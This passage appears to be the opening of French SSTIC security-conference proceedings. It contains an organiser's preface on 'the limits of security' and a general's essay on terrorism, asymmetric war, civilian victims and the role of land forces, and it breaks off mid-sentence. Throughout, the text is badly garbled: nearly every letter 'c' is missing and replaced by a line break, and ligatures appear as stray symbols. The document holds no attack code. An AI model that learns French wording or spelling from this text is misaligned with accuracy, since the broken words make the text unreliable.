
Préfa
e

Bienvenu à tous dans le monde merveilleux de SSTIC. Je re
onnais 
ertaines personnes à for
e,

même si le publi
 
roît à 
haque édition, 
e qui traduit parfaitement la préo

upation 
roissante

pour le sujet. En revan
he, je suis surpris du nombre 
roissant de 
ravates : les gentils organisateurs

vous rappellent que le port n'en est pas du tout obligatoire, au 
ontraire. Vous le savez maintenant,


e n'est pas la tenue qui fait le larron, sans quoi SSTIC ressemblerait plus à quelque 
hose 
omme

Woodsto
k
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. . . même si j'ai déjà entendu quelqu'un quali�er péjorativement SSTIC de � Woodsto
k

de la sé
urité informatique �. Marrant.

Bref, 
ette année, nous avons opté pour un thème 
ompliqué et vaste : les limites de la sé
urité.

Normalement, 
ha
un d'entre vous a déjà parfaitement 
ons
ien
e qu'au
une sé
urité n'est absolue.

L'obje
tif est plus souvent de 
ombiner, intelligemment si possible, di�érentes appro
hes, solutions

et te
hniques pour 
ombler les la
unes des unes et des autres, tout en espérant au �nal obtenir

quelque 
hose de robuste. Cet art de la 
omposition n'est envisageable que lorsqu'on 
onnaît les

for
es et les la
unes de nos outils.Combien de personnes installent un pare-feu autorisant tout le

tra�
 HTTP et DNS en sortie du réseau interne, sans pour autant nettoyer 
es �ux ? Combien de

personnes utilisent le s
anner de ports nmap sans savoir que par défaut, il est 
on�guré pour tester

uniquement 
ertains ports, et non les 65535 possibles ? Combien de personnes sont 
onvain
ues que

les anti-virus sont l'arme ultime 
ontre le mé
hant pirate et autres virus, sans au
une é
happatoire

pour 
es monstres du Mal ? Hélas, trois fois hélas, beau
oup, beau
oup beau
oup trop de personnes.

Et ne parlons pas du end user, qui n'a de toute façon pas à 
onnaître tout ça.

Comme évoqué pré
édemment, le thème est 
ompliqué et vaste. Le travail des intervenants

montre de nombreux aspe
ts. Et même si le programme est dense
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, tout ne pourra pas être abordé.

Bien évidemment, la part te
hniques et s
ienti�ques est prépondérante
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mais 
e ne sont pas les seuls

aspe
ts à 
onsidérer. Fidèles à notre démar
he initiale, nous traitons également des 
onsidérations

stratégiques ou juridiques par exemple.

Comme toujours, 
e préambule sera 
on
lu par des remer
iements. Toutefois, ils ont une saveur

spé
i�que. D'abord, et heureusement, 
'est le dernier édito que j'é
ris pour SSTIC
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. En e�et, le

Comité d'Organisation a dé
idé de se renouveler (
omprendre que les vieux ont besoin de se reposer)

et de laisser la pla
e aux jeunes (
omprendre que des nouvelles têtes ave
 les dents qui rayent

le parquet nous poussent dehors). Cela fait 4 ans maintenant que pratiquement la même équipe

s'o

upe de tout pour que 
ette 
onféren
e soit une réussite, et en
ore, vous ne voyez pas toutes les

mains invisibles qui oeuvrent en toutes dis
rétion pour vous. À l'issue de 
ette édition, la moitié

de Comité d'Organisation prend sa retraite. Alors mes remer
iements iront plus parti
ulièrement

à mes 
ollègues, pour tout 
e qu'on a traversé (y 
ompris la rue de la soif). Je n'en oublie pas
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Ce
i dit, il ne pleut pas assez en Bretagne pour ça.
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En�n, un peu moins que les années passées, nous aussi, on vieilli !
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Les organisateurs re
onnaissent bien volontiers leur 
�té geek . . . qu'ils auraient de toute façon du mal à


a
her.

4

Rassure toi, publi
 
héri mon amour, et toi mon fan, vous pourrez 
ontinuer à lire mes délires dans MISC,

7e45 
hez tous les bons buralistes ;-)
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moins les mains invisibles évoquées pré
édemment : ne vous y trompez pas, 
'est bien grâ
e à elles

que tout se passe si bien, et notamment tous les personnels de l'ESAT et 
eux responsables de nos

estoma
s à Supéle
 qui nous aident, nous a

ueillent, nous 
âlinent depuis le début. Vraiment, de

notre part à tous, mer
i, mer
i, mer
i !

Vivement la pro
haine édition à laquelle je pourrai en�n assister sans avoir à 
ourir dans tous

les 
oins et bon 
ourage, ou bonne 
han
e, à la nouvelle équipe !

Fred Raynal, pour le Comité d'Organisation
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Puissan
e militaire et modernité au XXIème siè
le

Général de 
orps d'armée Gérard Beza
ier

Commandant de la région Terre Nord-Ouest

Résumé Vaste sujet, 
elui qui traite de la défense et de la sé
urité d une Nation. Vaste sujet,

quand on observe la 
omplexité et l'évolution du monde. Vaste sujet, quand on se souvient

des erreurs historiques 
ommises au siè
le dernier, notamment par la Fran
e :

� l'erreur majeure de 1914 ave
 le lieutenant-
olonel Fo
h et l'é
ole de l'o�ensive à outran
e

qui débou
ha sur quatre années de ferme défensive ;

� l'erreur inquali�able et double de 1940 ave
 une politique d'intervention au pro�t des Etats


entraux (Pologne, T
hé
oslovaquie, et
.) appuyée sur une stratégie stri
tement défensive,

la ligne Maginot, et pour 
ouronner l'in
onséquen
e, la dé
ision inouïe de sortir en avant

des murs de la forteresse � Fran
e � pour une ren
ontre hasardeuse dans les plaines des

Flandres !

Vaste sujet en
ore, quand on se réfère à la guerre stri
tement aérienne du Kosovo qui dé
idait

de manière tran
hée du se
ond r�le dé�nitif dévolu désormais aux for
es terrestres 
hargées des

tâ
hes � an
illaires � des opérations ! Vaste sujet toujours quant aux spe
ta
les de l'Irak, de la

C�te d'Ivoire, d'Haïti, et
. émerge à nouveau, puissant et dominateur, le r�le prin
ipal des for
es

terrestres pour 
onstruire et rassembler les vraies 
onditions des su

ès militaires et des paix qui

devraient en dé
ouler ! Oh 
ombien, il 
onvient de rester modeste dans ses 
ertitudes, mesuré et

équilibré dans l'obligation des dé
isions qui préparent le futur et qu'il faut bien ne pas remettre à

demain.

Voi
i toutes les premières ré�exions qui peuvent venir à l'esprit lorsque, en 
harge des a�aires

(pour une petite part), il faut tout de même se forger des 
onvi
tions et se déterminer à les 
onduire

fermement, à bon terme.

Commençons avant d'é
lairer notre � vision � par une rapide analyse géopolitique du Monde. Ce

� tour �, aujourd'hui, ne peut pas ne pas partir de l'événement ré
ent le plus 
ara
téristique qu'est

l'attentat massif du 11 septembre 2001. Cet événement, au-delà de la douleur qu'il 
rée, exprime

toute la violen
e et le désordre de notre temps ave
 une portée symbolique ex
eptionnelle :

� l'a�aiblissement des Etats ave
 notamment la perte de 
ontr�le de leur territoire ; depuis 1812

le territoire des Etats-Unis n'avait pas été l'objet d une agression dire
te ;

� la radi
alisation de la violen
e, ave
 le nombre et la qualité 
ivile des vi
times re
her
hées ;

� la diversité et la dissémination des moyens de destru
tion.

A 
e 
onstat, for
e est d'ajouter le 
omportement très souvent unilatéral des puissan
es qui 
onfondent

parfois leurs intérêts ave
 
eux du monde, oubliant 
e qu'é
rivait, il y a 2500 ans, Thu
ydide ; que

de toutes les manifestations de la puissan
e, 
'est la retenue qui impressionne le plus.

Soyons plus 
lairs et dire
ts. Que retenir de l'a�aiblissement des Etats développé par de nom-

breux experts ? D'abord qu'il est 
orrélatif de la �n de l'équilibre de la terreur Est-Ouest et qu'il

trouve ses sour
es � par le haut � et la 
onstru
tion � supraétatique � 
omme en Europe mais aussi

par le bas et � l'infraétatisme � 
omme en Afrique et ailleurs, ave
 le tribalisme, le 
lanisme et les


orruptions de tous ordres, au premier rang desquelles la 
orruption �nan
ière.

Cette dernière qui fait son lit du � transétatisme � et de la � mondialisation � pourvoit aux

moyens de plus en plus importants d organisations non étatiques de taille et de nature diverses.
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La première leçon à apprendre est que 
'est bien à partir de la faiblesse des Etats que se forgent

les for
es des entités dites nébuleuses, terroristes ou/et ma�euses qui re
rutent leur personnel sur

le terreau des misères si généreusement et partout réparties. C'est 
ela qui explique Al Quaida en

Afghanistan, la Somalie, le Yémen, le Soudan, et
.

La deuxième leçon est qu'en e�et, les Etats ne sont plus désormais les seuls détenteurs de la

violen
e ave
 le monopole exorbitant de son emploi, mais qu'émergent des idées, des idéologies, des

organisations, protéiformes ou non, qui elles aussi légitiment de fa
to l'usage de la violen
e adossée

aux injusti
es 
riantes d un ordre mondial imposé.

De là dé
oulent naturellement deux né
essités stratégiques auxquelles au
un Etat res-

ponsable ne peut se soustraire. La première, 
elle de l'intervention dans toutes les zones faibles,

sus
eptibles de fournir les bases et les infrastru
tures logistiques des 
ourants de violen
e : � si vous

ne vous o

upez pas d'eux, alors 
e sont eux qui s'o

uperont de vous �, 
'est le 
as des tra�
s de

tous ordres, prix naturels à payer de l'ouverture et de la globalisation du � village planétaire � !

La se
onde, très 
onnexe de la première, pourrait être au fond 
ette né
essité d'ingéren
e qui

rend le prin
ipe de souveraineté 
omme l'intangibilité des frontières de moins en moins justi�ables

et opposables à la réalité des droits de l'homme et plus généralement aux valeurs qu'il est 
onvenu

de quali�er universelles.

C'est dans 
ette nouvelle perspe
tive que s'ins
rit désormais la question de la sé
urité inter-

nationale et de la mondialisation. Revenons, par exemple à l'attentat du 11 septembre, 
ette date

désormais 
harnière et historique, bien plus que 1789 ou 1989.

Cette a
tion lâ
he et terroriste est 
onçue en Asie 
entrale, réalisée réalisée à New-York et

Washington par des ressortissants saoudiens et égyptiens qui avaient suivi leurs études supérieures

en Europe. Ses 
onséquen
es portent au-delà de la politique de défense du Japon.

Voilà, s'il le fallait, une démonstration signi�
ative de 
e qu'il 
onvient d'appeler une réelle

trans
endan
e de tous les é
hanges qui sont la 
ara
téristique 
on
rète de notre monde :

� d'abord et au tout premier rang, 
eux de l'information ave
 les pauvres qui observent ave


envie les ri
hes, les jeunes prompts à l'enthousiasme, au sa
ri�
e et au nihilisme idéologique

qui s'inspirent des su

ès sanglants et des a
tions violentes et dé�nitives ;

� 
eux des �nan
es ave
 les délinquants majeurs en 
ol blan
 qui sont de tous les pays, de

toutes les 
lasses et qui donnent aux moteurs divers des violen
es des moyens illimités parfois

supérieurs à 
eux des Etats ;

� 
eux des hommes, éternels émigrants et voyageurs, qui vont 
omme les �ots là où les pentes

naturelles des ri
hesses les mènent ; et tout 
omme l'eau, 
es �ux historiques sont et seront


omme toujours à peine 
analisables, n'en déplaise aux thuriféraires des lignes Maginot dont

l'e�
a
ité est désormais avérée ;

� en�n et 
onnexe aux pré
édents, les é
hanges et l'extension des mouvements mondiaux, révo-

lutionnaires 
omme 
eux de l'anti G8, d'Atta
 et de bien d autres ; tous s'ins
rivant au fond

dans le 
adre de stratégies de destru
tion pour remettre en 
ause un ordre mondial dé
idé-

ment insupportable aux trois quarts de la population de notre planète, à l'é
art des évolutions

progressistes du monde.

A 
es grandes 
ara
téristiques, on ne peut pas ne pas ajouter des é
hanges très parti
uliers mais

majeurs qu'on dénon
e souvent 
omme la prolifération des armements, en oubliant d'ailleurs le plus

signi�
atif qui 
onsiste en la 
roissan
e illimitée de leurs e�ets.

C'est désormais un lieu 
ommun mais malheureusement une réalité sans limite que l'extension

des é
hanges d'armes et des savoir-faire te
hnologiques, ne serait-
e qu'au travers de la dualité des

te
hniques. Même le nombre d'Etats nu
léaires s'a

roît tout 
omme 
elui des Etats � balistiques �.
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C'est un fait, il sera têtu et le jour reviendra bient�t d'une refondation de la dissuasion nu
léaire,

tout simplement par
e qu'un nouvel Hiroshima en Asie, dans le Moyen Orient ou aux franges

européennes � fera irruption � : le sommeil (la pause) nu
léaire du général POIRIER y trouvera

naturellement son terme et le prin
ipe simple des réalités s'imposera, tâ
hons de nous en souvenir !

Plus que la prolifération, en termes de 
onséquen
es pour les guerres et les 
rises sont les déve-

loppements 
apa
itaires des armements :

� on peut désormais appliquer des feux partout, depuis partout (l'espa
e, l'air, la mer en surfa
e

ou sous la surfa
e...), dans des délais de plus en plus 
ourts et ave
 une pré
ision e�rayante :

aujourd hui, il faut en
ore 6 heures pour un missile de 
roisière, seulement de 15 à 20 minutes

pour un avion en vol et tout porte à 
roire que 
es délais iront se réduisant ;

� la 
apa
ité létale augmente, exponentielle pour les armes nu
léaires, mais aussi pour les

� simples � obus qui se fragmentaient en 1870 en vingt é
lats et aujourd hui en plus de

2000. A 
ela s'ajoute, le meilleur des mondes, ave
 les promesses du développement des lasers,

des armes 
himiques mais surtout biologiques et génétiques. A 
et égard qu'on ne s'y trompe

pas la Tularémie a été employée à Stalingrad. L'Union Soviétique a utilisé en Afghanistan

la morve, aujourd hui nous nous préo

upons de l'Anthrax mais savons des �èvres hémorra-

giques 
omme l'Ebola sans antidote 
onnu ; et puis, l'histoire nous 
on�rme depuis des siè
les

l'emploi des 
adavres pestiférés pour infester les villes lors des sièges, voire pour polluer les

puits d'eau dans les zones désertiques et
.

Pour 
ontinuer 
ette rapide visite militaire du monde géopolitique, nous ne pouvons pas ne pas sou-

ligner 
e qui peut être 
onsidéré 
omme le fait le plus déterminant du siè
le qui vient : le phénomène

in
royable de la � vi
timisation � des populations 
iviles, qui jusqu'à présent étaient le 
÷ur ou l'es-

sen
e même du droit de la guerre dans la distin
tion et l'obligation de la préservation des 
ivils par

rapport aux militaires et qui, nous devons malheureusement le 
onstater, n'est plus ! Massa
res en

Afrique, dans les Balkans en Europe à 700 km de Strasbourg et maintenant destru
tions terroristes

massives aux Etats-Unis, en Espagne, au Moyen-Orient, en Asie, et
. Un rapide regard rétrospe
tif


on�rme, par ailleurs, que 
ette situation répond à une tendan
e lourde qui mérite analyse. En e�et,

dès le premier 
on�it mondial, au siè
le dernier, 
'est de l'ordre de 10 % des 
ivils qui sont vi
times

des 
ombats. Lors du se
ond 
on�it mondial les pertes 
iviles s'élèvent à près de 60 % du total.

Depuis nous 
onstatons à 
haque 
rise (dite de basse intensité) une moyenne situant la part 
ivile

des vi
times entre 75 et 90 % : il 
onvient de souligner qu'il s agit parfois de millions de personnes


omme au Cambodge ou au Rwanda ! Une très rapide investigation indique 
ombien la population


ivile est devenue un a
teur/obje
tif majeur des 
on�its :

� élimination physique des minorités,

� manipulation psy
hologique des populations,

� prises d otages,

� utilisation des femmes et des enfants 
omme agents voire 
omme bou
lier,

� et
.

Et surtout, point d'importan
e 
apitale pour nos démo
raties, n'oublions plus jamais qu'au-delà de

la perméabilité des frontières et de l'extension illimitée (illimitable ?) des é
hanges, 
es phénomènes

de � vi
timisation � des populations 
iviles portent aussi (surtout ?) sur nos populations ; l'attentat

de Madrid du 11 mars 2004 
omme les pressions sur les otages o

identaux en Irak le soulignent

ardemment.

En prenant un peu de re
ul, ne devrions-nous pas relier 
ette tendan
e 
riminelle à la montée

en puissan
e et maintenant, à l'établissement impérialiste de l'information, asso
iée aux régimes

politiques démo
ratiques laï
s et aux idéologies religieuses fanatiques qui s a�rontent ?
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En�n pour terminer l'établissement de 
ette vision mondiale des questions de sé
urité et de

défense, on ne peut pas faire l'é
onomie d'un rapport des for
es militaires (ou non). Pour dépasser

l'é
ume des vagues, rappelons-nous bien que, toutes 
hoses égales par ailleurs, il faut pour 
onstruire

l'avenir, a

omplir l'e�ort momentané de se déta
her du présent. Et don
, en 
e moment, pour bien


omprendre le 
ontexte géostratégique et jeter les bonnes bases de l'outil au servi
e de l'ordre à


onstruire, 
onforme à notre volonté politique, il faut absolument é
arter les faux débats et les

mauvais 
on
epts.

En e�et si les 
on
epts (et Dieu sait si les Français en sont friands !) peuvent être utiles, ils sont

souvent 
ontre-produ
tifs, notamment pour les esprits 
artésiens empêtrés de logique intelle
tuelle,

dé
onne
tée des réalités ; de la réalité, 
elle de la 
omplexité de l'esprit de l'homme !

Si les 
on
epts sont ainsi, for
e est de 
onstater que leur 
ontribution 
onsiste autant à é
lairer

les réalités qu'à les déformer - qu'ils o�rent 
ertes des guides pour l'a
tion mais risquent de la

fragiliser en la soumettant à des jugements préétablis. Il en va ainsi, en tout 
as, pour les questions

de défense � des modes d'a
tions, des équipements, des organisations, et
.

Aujourd hui, le 
as le plus 
riant est la di
hotomie arti�
ielle, faite par des analystes intelle
tuels

n'ayant jamais par
ouru un seul théâtre d'opération quand les odeurs (que la télévision ne transmet

pas, malheureusement...) y règnent en
ore, entre les guerres de haute et basse intensité, opposées

de manière binaire. Le 
ho
 de 
es deux 
on
eptions parti
ipe de la même fausse rigueur, a fortiori

lorsqu on imagine une nouvelle ar
hite
ture à l'aune des polémiques du présent. For
e doit être

de re
onnaître qu'au
une opération militaire, d'envergure même limitée, n'a eu, n'a et n'aura pour


ara
téristique une (des) a
tivité(s) stri
tement de basse ou haute intensité : si vous êtes forts, vous

êtes apparemment dans la basse intensité, si vous êtes faibles, le nombre de 
oups reçus vous indique

la haute intensité. C'est un point sur lequel nous reviendrons.

Une autre idée, 
ertes généreuse mais très naïve et qui a
hoppe à la première di�
ulté venue,

ressortit du Multinational ou du � Supra-national �. Au fur et à mesure que les intérêts vitaux des

Etats sont et seront plus étroitement impliqués dans le jeu des interventions, s'établit et s'établira

la règle de base suivante : � A 
ha
un, à 
haque Nation selon sa puissan
e... �

Très liée à 
e 
onstat pessimiste mais réaliste est l'a�rmation que toute puissan
e est par nature

limitée, et selon le mot de Monsieur BRZEZINSKI l'importan
e 
ardinale 
onsistant à re
onnaître

que la 
apa
ité de � Leadership � est inversement proportionnelle à la volonté de domination.

E
lairés par 
es quelques 
lés, 
ara
térisons maintenant le rapport � militaire � des for
es en

présen
e dans le monde. Puis essayons d'en retenir des enseignements et un premier bilan pour le

r�le et la pla
e futurs de nos for
es, notamment terrestres pour mieux repla
er 
ette appro
he d'une

armée du 21e siè
le dans le 
adre européen qui sera désormais le n�tre.

Un premier 
onstat, déjà abordé, s'impose avant tout.

Le territoire national améri
ain n'est plus désormais hors d'atteinte des agressions

extérieures. Certes, des avions de ligne 
ivile ont momentanément rempla
é des missiles ! Mais au

total, 
ela 
onforte bien 
et intérêt majeur et 
apital de la 
ourse à la prote
tion et à la sauvegarde

des territoires nationaux, 
orrélée à la re
her
he permanente de la dynamique des évolutions te
h-

nologiques. Après la 
onquête de l'Ouest, le programme Apollo, la guerre des étoiles, soyons bien


onvain
us, une fois les � petites a�aires � du Moyen-Orient dépassées ave
 leur train d'émotions


athodiques, que la puissante Amérique 
onduira et relèvera 
e dé�. Peu importe d'ailleurs les ré-

sultats, il y en aura de toutes manières ! Eh bien, 
eux qui seront en dehors de 
e jeu stratégique

essentiel seront devenus des a
teurs mineurs et ignorés d'un nouvel ordre mondial.

Le bou
lier antimissile, quelles que soient sa forme, sa portée et son e�
a
ité, relative ou non,

sera un fait majeur des systèmes de défense du XXIe siè
le.
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A 
e premier 
onstat et résultat, s'ajoute un se
ond : le di�érentiel exponentiel

et te
hnologique existant entre les arsenaux militaires des Etats-Unis et 
eux des

puissan
es o

identales (dont le Japon) et la Russie. Ce di�érentiel trouve sa sour
e dans

la maîtrise des te
hnologies de l'information notamment, dont les 
onséquen
es pour l'art militaire

sont au nombre de trois :

� la maîtrise du temps,

� la maîtrise de l observation et de l a
quisition des obje
tifs,

� la pré
ision des feux.

Globalement se dessinent très bien trois 
onséquen
es majeures, l'une d'ordre stratégique, les deux

autres plus opératives ou ta
tiques :

� le re
ours de plus en plus signi�
atif aux formes et modalités des guerres subversives pour

s'opposer aux for
es o

identales ;

� la forte tentation des armes � exotiques � de type nu
léaire, biologique, 
himique et
. ;

� le � repli � des théâtres d'opération aux seules zones dis
rètes et habitées, les villes et les aires

montagneuses et très a

identées.

Pour terminer 
ette 
ourte analyse du rapport des for
es, il 
onvient de ne pas oublier 
elui

des for
es morales qui sera toujours, in �ne, très déterminant. Cette fois la leçon à retenir, qui est

un fait avéré est très inquiétante : aujourd'hui en
ore, des hommes 
ontinuent de mourir

plus fa
ilement pour des idées que pour des intérêts ! Or, rien n'est plus étranger pour nos

démo
raties, pour nos so
iétés hédonistes, où, depuis quelques temps déjà, nous avons perdu le sens

de la for
e des idées et de leur violen
e potentielle.

Que 
on
lure de l'ensemble de 
es analyses, de 
es 
onstats, de l'appréhension mal 
ommode

de l'évolution des mena
es telles qu'elles sont présentées i
i ? Nous pouvons peut-être en retenir

quatre enseignements qui 
on
ernent dire
tement le r�le et la pla
e de nos futures for
es dans

le système général de notre organisation de défense et de sé
urité.

Le premier, évident, qu'il faudra approfondir à très 
ourt terme, 
ar il est fondateur des 
hoix

budgétaires pour l'équipement de nos for
es, est 
elui du 
ara
tère désormais interarmées de

nos opérations militaires. Il n'y a pas d'a
tion de l'Armée de l'air, de la Marine ou de l'Armée

de terre. Il y a des opérations 
onduites par l'armée française qui re
ourt à ses trois

1


omposantes,

navale, aérienne et terrestre, toutes trois a
tivées dans le 
adre des quatre grandes fon
tions opé-

rationnelles du 
ommandement, du renseignement, du soutien logistique et des 
ommuni
ations

(internes et externes). De là, à dire qu'il faut un modèle de for
es intégrées, optimisant le nombre

et la qualité de nos états-majors, étudions ?... Etudions, sans oublier que toute rupture 
ulturelle

se paie un jour en aboutissant parfois à des résultats surprenants !

Le deuxième enseignement qui n'est pas le moindre, est qu'on peut désormais a�rmer


ertaines 
ertitudes pour notre époque à 
ourt et moyen terme. D'éviden
e, nous sommes en

train d apprendre à 
onnaître nos adversaires et...voire notre ennemi, aussi bien en

opérations extérieures que sur le territoire européen.

En e�et dans le 
adre de toutes les missions qui nous sont 
on�ées et qui visent à rétablir l'ordre

démo
ratique (voire à l'établir), la justi
e, la sé
urité des populations et la paix, s'opposent à nos

for
es les mêmes types d'obstru
tions armées. Si à vision humaine, il n'y aura pas, avant au moins

vingt ans, d'armées 
apables de rivaliser ave
 nos 
oalitions européennes et de l'Allian
e atlantique,

il y a et il y aura de plus en plus d'adversaires, souvent désespérés. Le plus souvent, ils seront

porteurs d'idéologies fortes et pratiqueront 
ontre nous, de fa
to, 
e qu'il faut dorénavant quali�er

d a
tions subversives, par
e que toutes visent et viseront un bouleversement et un renversement de

1

La gendarmerie ne peut pas être prise en 
ompte dans 
ette prospe
tive.
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l'ordre et des valeurs universelles. D'ailleurs, 
ompte tenu de notre supériorité te
hnologique dans

les airs, l'espa
e et, sur et sous les mers notamment, ils ne pourront pas faire autrement. Ce que

l'on appelle aujourd'hui disymétrie, ou en
ore 
on�it asymétrique n'est rien d'autre que le prix à

payer de notre développement.

Ces a
tions, ou 
es formes de guerre, se 
ara
térisent par la 
ombinaison d'a
tions psy
hologiques

(
iblées en priorité sur les populations, 
elles des pays où nous intervenons 
omme sur les n�tres :

obje
tifs et a
teurs stratégiques des 
on�its du siè
le nouveau) et d'a
tions de types et natures

indire
ts (guérillas, terrorisme) appliquées dans l'ensemble des domaines de fon
tionnement de nos

so
iétés, y 
ompris et de plus en plus dans 
elui de nos réseaux informatiques.

Mais seront visées nos plus grandes fragilités, ave
 notamment 
omme nous l'avons pré
édem-

ment indiqué l'assassinat de nos soldats et de nos ressortissants en grand nombre.

Cela signi�e et ne nous y trompons pas, que des pertes massives pourraient être de quasi défaites

politiques, à tout le moins un problème politique pour nos gouvernements 
ontraints par la versatilité

et la sensibilité des opinions publiques, d'autant plus que dans une grande majorité des interventions

extérieures, au
un de nos intérêts vitaux n'est ou ne sera dire
tement en jeu, en tout 
as de façon


lairement per
eptible par notre population.

Le troisième enseignement bien que d'a
tualité en Irak est très an
ien : il s'impose 
omme

une vérité que nous ont léguée depuis plus d'un siè
le les Maré
haux Lyautey et Gallieni, 
ertes

dans le 
ontexte 
olonial de leur époque. Il s'agit, toutes 
hoses égales d'ailleurs, de 
e que nous

Européens avons 
ompris avant nos amis améri
ains qui le dé
ouvrent aujourd hui ave
 peine.

Nos armées ne sont plus les a
teurs des vi
toires d'aujourd hui. Elles en sont les

indispensables fa
ilitateurs, mais la paix, phénomène éminemment dynamique, ne peut être

progressivement appro
hée et préservée que par la mise en ÷uvre des di�érents volets 
ivils 
om-

plémentaires (juridiques, é
onomiques, �nan
iers, 
onstitutionnels, et
.) d'un plan global de sortie

durable de 
rise. D'ailleurs les armées ne jouent e�
a
ement 
e r�le de fa
ilitateur que sous ré-

serve que leur a
tion soit d'emblée 
onduite dans la perspe
tive d'un tel plan, et si possible d'emblée

aussi aux ordres de l'autorité politique. Bref, 
'est désormais un truisme que de 
onstater

que quel que soit le type de nos interventions, la dimension politique l'emporte et

l'emportera toujours sur l'appro
he stri
tement militaire.

Au-delà de la très 
ourte (parfois même absente) phase de bataille pour neutraliser une for
e

armée organisée que j'appelle intervention et qui mettra en ÷uvre des for
es puissantes et très

interarmées, aptes à mener des a
tions de 
ombat de � haute intensité � ou de dissuasion, s'étalera

une phase plus ou moins longue de transition pouvant être quali�ée de stabilisation. Cette période

où la situation demeurera la plupart du temps pré
aire et sujette à de brusques �ambées de violen
es

sus
eptibles de remettre en 
ause l'e�et �nal attendu, pré
édera la phase de normalisation ave


la reprise et le rétablissement progressif de la souveraineté du pays, les for
es de dissuasion et

de prévention des troubles agissant, alors, en soutien des institutions internationales

et lo
ales 
iviles.

C'est durant la se
onde période, 
elle de la transition que sont et seront toujours réunies les


auses et les sour
es des é
he
s pour le rétablissement de la paix. Ces 
auses et 
es sour
es pouvant

d'ailleurs être 
réées par l'impréparation ou les mauvais 
hoix faits pour 
onduire l'intervention, là

en
ore l'Irak est plein d enseignements.

Autant la phase d'intervention sera � fa
ile � à 
onduire, autant 
elle de la stabilisation sera

di�
ile à mener à bien. Elle 
ombine la né
essité de vain
re dans le 
adre de 
ombats violents et


ourts pour réduire les sursauts militaires et organisés d'un adversaire fuga
e ave
 le né
essaire


ontr�le de zone et des populations. Celle-
i est bien l'obje
tif, 
omme on l'a vu, des a
tions subver-
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sives que d'au
un appellent asymétriques. Elle né
essite la mise en ÷uvre, ou selon les domaines,

l'appui à la mise en ÷uvre, de l'ensemble des volets 
ivils 
omplémentaires dont j'ai déjà parlé et

qui sont les éléments éminemment politiques, seuls en mesure de garantir une sortie de 
rise dans

de bonnes 
onditions. Il s'agit bien, de fait, de fa
iliter et d'emporter l'adhésion aux seuls projets

et 
onstru
tions politiques garants de la paix. Et là, en
ore ne nous y trompons pas, eu égard à

l'insé
urité qui 
ara
térise 
ette phase, le r�le des for
es sera en
ore majeur et leur autorité, même

politique, restera très souhaitable.

A 
et égard, une dernière 
onséquen
e permettant de mieux 
erner le modèle d'armée

future doit s'imposer ave
 for
e en rejetant une fois en
ore un 
on
ept séduisant mais dénon
é

par les faits à 
haque intervention, 
elui du � �rst in, �rst out �. Dérivé ou plut�t importé ave


empressement des Etats-Unis, 
ette idée qui voudrait que nos opérations extérieures soient les plus


ourtes possibles ne résiste pas aux exemples de Chypre, de la Bosnie, du Kosovo, de la C�te d

Ivoire et bien sûr de l'Irak où l'on voit bien que la stabilisation qui est aussi 
elle des 
÷urs et des

esprits né
essite le temps long qui est 
elui de l'histoire des hommes.

Et don
, 
ontrairement, aux idées simples qui voudraient à partir du tout te
hnologique

abolir tout re
ours aux soldats, on mesure 
ombien leur nombre et leur importan
e

restent des invariants fondamentaux. Ce devra être un des fa
teurs 
onduisant aux bons

investissements lors des débats qui ne manqueront pas pour 
onstruire 
ette nouvelle armée, 
ertes

un parmi d'autres...

En�n, le quatrième enseignement � modélisateur � pour notre armée future est 
elui qui

dorénavant 
ara
térise et 
ara
térisera toujours plus nos engagements. Il s'agit de l'imbri
ation

et de l'intera
tion 
roissante existant entre les for
es et les populations 
iviles, qu'elles

soient amies, neutres ou hostiles.

Ces nouvelles et exigeantes 
ontraintes sont le résultat de l'a

roissement des populations et de

l'importan
e des �ux migratoires qui entraînent dans le monde entier une réelle explosion de

l'urbanisation. Ce 
onstat se véri�e non seulement dans les pays industrialisés, mais également

dans la majorité des pays en voie de développement. Cette urbanisation dans les nombreuses régions

de 
rise potentielle 
rée des 
onditions favorables à l'impli
ation volontaire ou involontaire de vastes

groupes de 
ivils non 
ombattants dans des 
onfrontations dans lesquelles nos for
es sont et seront

engagées.

Bref, on peut maintenant dire, ave
 un peu d'humour que l'armée � ne fera plus


ampagne mais la ville �.

Nous voi
i don
 maintenant en mesure, en première analyse de tirer un premier bilan pour

juger du r�le et du 
on
ept des for
es futures, et notamment terrestres. Faisons-le

par le tru
hement des deux modes opératoires que sont les a
tions de 
oer
ition et

de maîtrise de la violen
e ; 
'est-à-dire la manière générale d'opérer sur un théâtre d'opération

pour atteindre les obje
tifs stratégiques ou/et politiques �xés. D'abord partant des dé�nitions de 
es

deux modes, on doit observer leur parfaite 
omplémentarité voir leur absolue � autoné
essité �. En

e�et pour rétablir (et assurer) la sé
urité sur un territoire, il 
onvient en permanen
e d'être 
apable

de 
ontraindre un adversaire à renon
er à son a
tion y 
ompris en le détruisant si né
essaire.

D'autre part depuis des siè
les tout le monde sait que la maîtrise de la violen
e ne peut s'entendre

qu'adossée à des for
es puissantes de dissuasion et de prévention. Au total, 
es deux modes ne

s'opposent pas mais sont 
omplémentaires (la Yougoslavie en fut une preuve 
uisante pour l'armée

de terre française ! Souvenonsnous des for
es inertes et paralysées, des otages et des vexations de

tous ordres... ).
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Ces deux modes 
onstituent les deux p�les d'un 
ontinuum d'a
tions possibles ave


passage aléatoire de l'un à l'autre ; par ailleurs ils sont indépendants de la notion d'intensité,

basse ou haute, très à la mode à l'intérieur du périphérique parisien, beau
oup moins sur les théâtres

où ÷uvrent nos soldats.

Don
 balayons une fois pour tous 
es pon
ifs qui voudraient opposer la guerre aux autres opé-

rations, balayons 
es pensées rédu
tri
es et simplistes qui voudraient juger de la légèreté ou de la

lourdeur de nos équipements ; oui il faut du blindage pour nous protéger, oui il faut des armes

lourdes et pré
ises pour faire peur et détruire vite et bien quand il 
onvient, oui, oh 
ombien, il faut

un système de 
ommandement très performant et il faut du renseignement obtenu et bien traité

par tous les 
apteurs possibles mais notamment humains, non nos for
es même en 
ontr�le de foule

n'ont rien à voir ave
 des gendarmes ; elles sont entraînées à être exposées aux tirs réels sortant de

la foule et aux é
hanges des grenades o�ensives qui se 
hi�rent à plusieurs 
entaines ; 
e n'est pas

le 
as, et 
'est normal, de nos gendarmes, dont les e�e
tifs sont justement mesurés pour assurer

l'ordre à l'intérieur de notre pays

2

Et 
'est bien par
e que les obje
tifs des interventions militaires

ont 
hangé, qu'il ne s agit plus de 
onquérir des terrains, des villes, que 
'est désormais d'une

nouvelle appro
he de l'emploi de nos for
es terrestres qu'il s'agit. Au fond, 
'est bien de la


onquête du 
÷ur des populations qu'il s'agit désormais.

On l'a vu, dorénavant, 
'est la dimension politique qui l'emporte sur l'appro
he stri
tement

militaire, le dernier 
